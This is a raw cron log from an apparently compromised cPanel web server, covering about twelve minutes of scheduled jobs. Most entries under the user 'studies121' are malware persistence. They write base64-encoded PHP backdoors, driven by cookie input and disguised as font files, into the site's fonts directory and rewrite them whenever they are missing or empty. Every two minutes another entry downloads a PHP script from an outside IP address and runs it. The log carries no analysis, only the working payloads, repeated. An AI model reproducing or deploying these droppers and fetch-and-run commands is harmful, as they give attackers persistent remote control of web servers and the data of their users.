Sep 11 15:24:01 ip-184-168-122-23 CROND[25528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:24:01 ip-184-168-122-23 CROND[25529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:25:01 ip-184-168-122-23 CROND[25696]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:25:01 ip-184-168-122-23 CROND[25701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:25:01 ip-184-168-122-23 CROND[25700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:25:01 ip-184-168-122-23 CROND[25698]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 15:25:01 ip-184-168-122-23 CROND[25699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:25:01 ip-184-168-122-23 CROND[25702]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 15:26:02 ip-184-168-122-23 CROND[25813]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:26:02 ip-184-168-122-23 CROND[25815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:26:02 ip-184-168-122-23 CROND[25817]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:26:02 ip-184-168-122-23 CROND[25816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:26:02 ip-184-168-122-23 CROND[25818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:27:01 ip-184-168-122-23 CROND[25939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:27:01 ip-184-168-122-23 CROND[25941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:27:01 ip-184-168-122-23 CROND[25940]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:27:01 ip-184-168-122-23 CROND[25942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:28:01 ip-184-168-122-23 CROND[26058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:28:01 ip-184-168-122-23 CROND[26061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:28:01 ip-184-168-122-23 CROND[26059]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:28:01 ip-184-168-122-23 CROND[26062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:28:01 ip-184-168-122-23 CROND[26060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:29:01 ip-184-168-122-23 CROND[26148]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:29:01 ip-184-168-122-23 CROND[26150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:29:01 ip-184-168-122-23 CROND[26152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:29:01 ip-184-168-122-23 CROND[26151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:30:01 ip-184-168-122-23 CROND[26322]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 15:30:01 ip-184-168-122-23 CROND[26325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:30:01 ip-184-168-122-23 CROND[26331]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 15:30:01 ip-184-168-122-23 CROND[26327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:30:01 ip-184-168-122-23 CROND[26329]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 15:30:01 ip-184-168-122-23 CROND[26328]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:30:01 ip-184-168-122-23 CROND[26330]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:30:01 ip-184-168-122-23 CROND[26326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:31:01 ip-184-168-122-23 CROND[26435]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:31:01 ip-184-168-122-23 CROND[26436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:31:01 ip-184-168-122-23 CROND[26437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:31:01 ip-184-168-122-23 CROND[26438]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 15:31:01 ip-184-168-122-23 CROND[26440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:32:01 ip-184-168-122-23 CROND[26550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:32:01 ip-184-168-122-23 CROND[26552]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:32:01 ip-184-168-122-23 CROND[26553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:32:01 ip-184-168-122-23 CROND[26554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:32:01 ip-184-168-122-23 CROND[26555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:33:01 ip-184-168-122-23 CROND[26685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:33:01 ip-184-168-122-23 CROND[26686]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:33:01 ip-184-168-122-23 CROND[26687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:33:01 ip-184-168-122-23 CROND[26689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:34:01 ip-184-168-122-23 CROND[26782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:34:01 ip-184-168-122-23 CROND[26779]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:34:01 ip-184-168-122-23 CROND[26781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:34:01 ip-184-168-122-23 CROND[26780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:34:01 ip-184-168-122-23 CROND[26783]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:35:01 ip-184-168-122-23 CROND[26960]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 15:35:01 ip-184-168-122-23 CROND[26961]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 15:35:01 ip-184-168-122-23 CROND[26964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:35:01 ip-184-168-122-23 CROND[26962]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:35:01 ip-184-168-122-23 CROND[26963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:35:01 ip-184-168-122-23 CROND[26966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:35:01 ip-184-168-122-23 CROND[26968]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 15:35:01 ip-184-168-122-23 CROND[26965]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 15:36:01 ip-184-168-122-23 CROND[27067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:36:01 ip-184-168-122-23 CROND[27068]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:36:01 ip-184-168-122-23 CROND[27069]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:36:01 ip-184-168-122-23 CROND[27072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
